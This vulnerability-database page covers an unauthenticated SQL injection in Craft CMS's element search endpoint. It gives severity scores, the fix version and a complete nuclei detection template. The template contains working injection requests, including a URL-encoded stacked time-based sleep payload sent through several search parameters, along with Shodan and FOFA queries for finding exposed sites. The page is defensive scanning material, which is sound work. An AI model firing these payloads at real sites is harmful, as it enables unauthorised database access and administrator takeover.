Browse / CVEs / CVE-2026-123488
CVE-2026-123488· craftcms / craft cms· CWE-89
Craft CMS < 4.18.9, < 5.11.2 - Unauthenticated SQL Injection
criticalseverity
9.8CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it
Craft CMS < 4.18.9, < 5.11.2 contain an unauthenticated SQL injection caused by unsanitized concatenation of the attribute parameter in the element search endpoint, letting remote attackers read and write the database to gain administrator access, exploit requires no authentication.
Impact
Remote attackers can read and modify the database, including setting admin flags or overwriting password hashes, leading to full administrator access.
Fix
Upgrade to Craft CMS 4.18.9 or 5.11.2 or later.
How to confirm it
Send: GET /
Positive when: contains_any(tolower(header), "x-powered-by: craft cms", "craft_csrf_token")
Send: GET {{sp}}{{sep}}q%5Bquery%5D=a&q%5Battribute%5D={{err}}&query%5Bquery%5D=a&query%5Battribute%5D={{err}}&search%5Bquery%5D=a&search%5Battribute%5D={{err}}&s%5B…
Positive when: status_code == 500
Send: @timeout: 30s
Positive when: status_code == 200 and duration >= 6Run it with nuclei: nuclei -id CVE-2026-123488 -u <target>
The full check
id: CVE-2026-123488
info:
name: Craft CMS < 4.18.9, < 5.11.2 - Unauthenticated SQL Injection
author: 0x_Akoko
severity: critical
description: |
Craft CMS < 4.18.9, < 5.11.2 contain an unauthenticated SQL injection caused by unsanitized concatenation of the attribute parameter in the element search endpoint, letting remote attackers read and write the database to gain administrator access, exploit requires no authentication.
impact: |
Remote attackers can read and modify the database, including setting admin flags or overwriting password hashes, leading to full administrator access.
remediation: |
Upgrade to Craft CMS 4.18.9 or 5.11.2 or later.
reference:
- https://github.com/craftcms/cms/security/advisories/GHSA-qcvp-ggx3-97r6
- https://github.com/craftcms/cms/compare/4.18.8...4.18.9
- https://github.com/dinosn/CVE-2026-123488-CraftCMS-Lab
- https://www.vulncheck.com/advisories/craft-cms-4.0.0-before-4.18.9-sql-injection-via-element-search-endpoint
- https://nvd.nist.gov/vuln/detail/CVE-2026-123488
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-123488
epss-score: 0.00476
epss-percentile: 0.41429
cwe-id: CWE-89
metadata:
verified: true
max-request: 3
vendor: craftcms
product: craft_cms
shodan-query: http.html:"Craft CMS"
fofa-query: 'header="X-Powered-By: Craft CMS"'
tags: cve,cve2026,craftcms,craft,sqli,unauth,time-based,vkev
variables:
err: "x%27"
inj: "x%27%29%29%3B%20select%20sleep%286%29%3B%20%23"
flow: |
(function () {
if (!http(1)) { return; }
let paths = ["/search", "/results", "/site-search"];
let found = template.formact;
if (found !== undefined && found !== null) {
if (!Array.isArray(found)) { found = [found]; }
let extra = [];
for (let i = 0; i < found.length && extra.length < 2; i++) {
let a = String(found[i]);
if (a.indexOf("//") !== -1 || a.length > 60 || a.charAt(0) !== "/") { continue; }
if (paths.indexOf(a) !== -1) { continue; }
extra.push(a);
}
paths = extra.concat(paths);
}
for (let i = 0; i < paths.length && i < 5; i++) {
set("sp", paths[i]);
set("sep", paths[i].indexOf("?") === -1 ? "?" : "&");
// a broken quote must reach SQL and 500; a dead path answers 404 and costs nothing more
if (!http(2)) { continue; }
// only then pay for the stacked sleep, which is what proves the impact
if (http(3)) { return; }
}
})();
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_any(tolower(header), "x-powered-by: craft cms", "craft_csrf_token")'
internal: true
extractors:
- type: regex
name: formact
part: body
group: 1
internal: true
regex:
- '<form[^>]*action="(/[^"]*(?:search|result)[^"]*)"'
- raw:
- |
GET {{sp}}{{sep}}q%5Bquery%5D=a&q%5Battribute%5D={{err}}&query%5Bquery%5D=a&query%5Battribute%5D={{err}}&search%5Bquery%5D=a&search%5Battribute%5D={{err}}&s%5Bquery%5D=a&s%5Battribute%5D={{err}}&keywords%5Bquery%5D=a&keywords%5Battribute%5D={{err}}&term%5Bquery%5D=a&term%5Battribute%5D={{err}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 500'
internal: true
- raw:
- |
@timeout: 30s
GET {{sp}}{{sep}}q%5Bquery%5D=a&q%5Battribute%5D={{inj}}&query%5Bquery%5D=a&query%5Battribute%5D={{inj}}&search%5Bquery%5D=a&search%5Battribute%5D={{inj}}&s%5Bquery%5D=a&s%5Battribute%5D={{inj}}&keywords%5Bquery%5D=a&keywords%5Battribute%5D={{inj}}&term%5Bquery%5D=a&term%5Battribute%5D={{inj}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'duration >= 6'
condition: andReferences
- https://github.com/craftcms/cms/security/advisories/GHSA-qcvp-ggx3-97r6
- https://github.com/craftcms/cms/compare/4.18.8...4.18.9
- https://github.com/dinosn/CVE-2026-123488-CraftCMS-Lab
- https://www.vulncheck.com/advisories/craft-cms-4.0.0-before-4.18.9-sql-injection-via-element-search-endpoint
- https://nvd.nist.gov/vuln/detail/CVE-2026-123488
Use this check only on systems you are authorised to test. Where the data comes from